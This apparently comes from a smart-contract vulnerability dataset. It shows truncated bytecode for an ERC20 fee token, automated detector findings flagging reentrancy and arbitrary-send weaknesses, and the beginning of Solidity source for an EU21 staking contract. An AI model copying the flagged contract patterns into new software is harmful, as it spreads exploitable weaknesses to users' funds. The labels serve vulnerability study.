ffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c6565b60405180910390fd5b6001601360146101000a81548160ff02191690831515021790555061011842610d67919061338b565b601481905550565b6000610d9c601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e30611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb4906131c6565b60405180910390fd5b601360149054906101000a900460ff1615610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490613246565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611340565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe257600080fd5b505afa158015610ff6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101a9190612a7f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107c57600080fd5b505afa158015611090573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b49190612a7f565b6040518363ffffffff1660e01b81526004016110d1929190612fb6565b602060405180830381600087803b1580156110eb57600080fd5b505af11580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111239190612a7f565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ac30610999565b6000806111b7610b3d565b426040518863ffffffff1660e01b81526004016111d996959493929190613008565b6060604051808303818588803b1580156111f257600080fd5b505af1158015611206573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122b9190612bea565b505050660110d9316ec00060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e2929190612fdf565b602060405180830381600087803b1580156112fc57600080fd5b505af1158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612b98565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a790613226565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611420576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611417906130e6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fe91906132a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157290613206565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e2906130a6565b60405180910390fd5b6000811161162e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611625906131e6565b60405180910390fd5b611636610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a45750611674610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7957601360159054906101000a900460ff16156117aa57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a9576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189757611841612274565b8161184b84610999565b611855919061338b565b1115611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90613106565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119425750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119985750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6557601360149054906101000a900460ff166119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390613266565b60405180910390fd5b6009600a81905550601360159054906101000a900460ff1615611afb57426014541115611afa57601054811115611a2257600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90613126565b60405180910390fd5b602d42611ab3919061338b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6457600942611b1d919061338b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b7030610999565b9050601360169054906101000a900460ff16158015611bdd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf55750601360149054906101000a900460ff165b15611d77576005600a81905550601360159054906101000a900460ff1615611c9c5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290613186565b60405180910390fd5b5b6000811115611d5d57611cf76064611ce9600b54611cdb601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229c90919063ffffffff16565b61231790919063ffffffff16565b811115611d5357611d506064611d42600b54611d34601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229c90919063ffffffff16565b61231790919063ffffffff16565b90505b611d5c81611f7a565b5b60004790506000811115611d7557611d7447611ea0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e205750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2a57600090505b611e3684848484612361565b50505050565b6000838311158290611e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7b9190613084565b60405180910390fd5b5060008385611e93919061346c565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f08573d6000803e3d6000fd5b5050565b6000600754821115611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a906130c6565b60405180910390fd5b6000611f5d61238e565b9050611f72818461231790919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120065781602001602082028036833780820191505090505b5090503081600081518110612044577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e657600080fd5b505afa1580156120fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211e9190612a7f565b81600181518110612158577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121bf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611340565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122239594939291906132c1565b600060405180830381600087803b15801561223d57600080fd5b505af1158015612251573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228361059c565b61228d9190613412565b61229791906133e1565b905090565b6000808314156122af5760009050612311565b600082846122bd9190613412565b90508284826122cc91906133e1565b1461230c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612303906131a6565b60405180910390fd5b809150505b92915050565b600061235983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b9565b905092915050565b8061236f5761236e61241c565b5b61237a84848461245f565b806123885761238761262a565b5b50505050565b600080600061239b61263e565b915091506123b2818361231790919063ffffffff16565b9250505090565b60008083118290612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f79190613084565b60405180910390fd5b506000838561240f91906133e1565b9050809150509392505050565b600060095414801561243057506000600a54145b1561243a5761245d565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124718761269d565b9550955095509550955095506124cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b0816127ad565b6125ba848361286a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261791906132a6565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600067016345785d8a0000905061267267016345785d8a000060075461231790919063ffffffff16565b8210156126905760075467016345785d8a0000935093505050612699565b81819350935050505b9091565b60008060008060008060008060006126ba8a600954600a546128a4565b92509250925060006126ca61238e565b905060008060006126dd8e87878761293a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3c565b905092915050565b600080828461275e919061338b565b9050838110156127a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279a90613146565b60405180910390fd5b8091505092915050565b60006127b761238e565b905060006127ce828461229c90919063ffffffff16565b905061282281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287f8260075461270590919063ffffffff16565b60078190555061289a8160085461274f90919063ffffffff16565b6008819055505050565b6000806000806128d060646128c2888a61229c90919063ffffffff16565b61231790919063ffffffff16565b905060006128fa60646128ec888b61229c90919063ffffffff16565b61231790919063ffffffff16565b9050600061292382612915858c61270590919063ffffffff16565b61270590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612953858961229c90919063ffffffff16565b9050600061296a868961229c90919063ffffffff16565b90506000612981878961229c90919063ffffffff16565b905060006129aa8261299c858761270590919063ffffffff16565b61270590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d2816139b5565b92915050565b6000815190506129e7816139b5565b92915050565b6000813590506129fc816139cc565b92915050565b600081519050612a11816139cc565b92915050565b600081359050612a26816139e3565b92915050565b600081519050612a3b816139e3565b92915050565b600081359050612a50816139fa565b92915050565b600060208284031215612a6857600080fd5b6000612a76848285016129c3565b91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016129d8565b91505092915050565b60008060408385031215612abb57600080fd5b6000612ac9858286016129c3565b9250506020612ada858286016129c3565b9150509250929050565b600080600060608486031215612af957600080fd5b6000612b07868287016129c3565b9350506020612b18868287016129c3565b9250506040612b2986828701612a17565b9150509250925092565b60008060408385031215612b4657600080fd5b6000612b54858286016129c3565b9250506020612b6585828601612a17565b9150509250929050565b600060208284031215612b8157600080fd5b6000612b8f848285016129ed565b91505092915050565b600060208284031215612baa57600080fd5b6000612bb884828501612a02565b91505092915050565b600060208284031215612bd357600080fd5b6000612be184828501612a17565b91505092915050565b600080600060608486031215612bff57600080fd5b6000612c0d86828701612a2c565b9350506020612c1e86828701612a2c565b9250506040612c2f86828701612a2c565b9150509250925092565b600060208284031215612c4b57600080fd5b6000612c5984828501612a41565b91505092915050565b6000612c6e8383612c7a565b60208301905092915050565b612c83816134a0565b82525050565b612c92816134a0565b82525050565b6000612ca382613346565b612cad8185613369565b9350612cb883613336565b8060005b83811015612ce9578151612cd08882612c62565b9750612cdb8361335c565b925050600181019050612cbc565b5085935050505092915050565b612cff816134b2565b82525050565b612d0e816134f5565b82525050565b6000612d1f82613351565b612d29818561337a565b9350612d39818560208601613507565b612d4281613598565b840191505092915050565b6000612d5a60238361337a565b9150612d65826135a9565b604082019050919050565b6000612d7d602a8361337a565b9150612d88826135f8565b604082019050919050565b6000612da060228361337a565b9150612dab82613647565b604082019050919050565b6000612dc360198361337a565b9150612dce82613696565b602082019050919050565b6000612de660228361337a565b9150612df1826136bf565b604082019050919050565b6000612e09601b8361337a565b9150612e148261370e565b602082019050919050565b6000612e2c60158361337a565b9150612e3782613737565b602082019050919050565b6000612e4f60238361337a565b9150612e5a82613760565b604082019050919050565b6000612e7260218361337a565b9150612e7d826137af565b604082019050919050565b6000612e9560208361337a565b9150612ea0826137fe565b602082019050919050565b6000612eb860298361337a565b9150612ec382613827565b604082019050919050565b6000612edb60258361337a565b9150612ee682613876565b604082019050919050565b6000612efe60248361337a565b9150612f09826138c5565b604082019050919050565b6000612f2160178361337a565b9150612f2c82613914565b602082019050919050565b6000612f4460188361337a565b9150612f4f8261393d565b602082019050919050565b6000612f6760258361337a565b9150612f7282613966565b604082019050919050565b612f86816134de565b82525050565b612f95816134e8565b82525050565b6000602082019050612fb06000830184612c89565b92915050565b6000604082019050612fcb6000830185612c89565b612fd86020830184612c89565b9392505050565b6000604082019050612ff46000830185612c89565b6130016020830184612f7d565b9392505050565b600060c08201905061301d6000830189612c89565b61302a6020830188612f7d565b6130376040830187612d05565b6130446060830186612d05565b6130516080830185612c89565b61305e60a0830184612f7d565b979650505050505050565b600060208201905061307e6000830184612cf6565b92915050565b6000602082019050818103600083015261309e8184612d14565b905092915050565b600060208201905081810360008301526130bf81612d4d565b9050919050565b600060208201905081810360008301526130df81612d70565b9050919050565b600060208201905081810360008301526130ff81612d93565b9050919050565b6000602082019050818103600083015261311f81612db6565b9050919050565b6000602082019050818103600083015261313f81612dd9565b9050919050565b6000602082019050818103600083015261315f81612dfc565b9050919050565b6000602082019050818103600083015261317f81612e1f565b9050919050565b6000602082019050818103600083015261319f81612e42565b9050919050565b600060208201905081810360008301526131bf81612e65565b9050919050565b600060208201905081810360008301526131df81612e88565b9050919050565b600060208201905081810360008301526131ff81612eab565b9050919050565b6000602082019050818103600083015261321f81612ece565b9050919050565b6000602082019050818103600083015261323f81612ef1565b9050919050565b6000602082019050818103600083015261325f81612f14565b9050919050565b6000602082019050818103600083015261327f81612f37565b9050919050565b6000602082019050818103600083015261329f81612f5a565b9050919050565b60006020820190506132bb6000830184612f7d565b92915050565b600060a0820190506132d66000830188612f7d565b6132e36020830187612d05565b81810360408301526132f58186612c98565b90506133046060830185612c89565b6133116080830184612f7d565b9695505050505050565b60006020820190506133306000830184612f8c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613396826134de565b91506133a1836134de565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d6576133d561353a565b5b828201905092915050565b60006133ec826134de565b91506133f7836134de565b92508261340757613406613569565b5b828204905092915050565b600061341d826134de565b9150613428836134de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134615761346061353a565b5b828202905092915050565b6000613477826134de565b9150613482836134de565b9250828210156134955761349461353a565b5b828203905092915050565b60006134ab826134be565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613500826134de565b9050919050565b60005b8381101561352557808201518184015260208101905061350a565b83811115613534576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139be816134a0565b81146139c957600080fd5b50565b6139d5816134b2565b81146139e057600080fd5b50565b6139ec816134de565b81146139f757600080fd5b50565b613a03816134e8565b8114613a0e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201597282c6c4d5525e9d5e0c19fcbbce5dc49ac7e5e26bf3c0efe9d152ed9f9d264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,018 |
0x3304f3965f209617ba67f54a1bbf89596c7808d4
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_Croatia is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
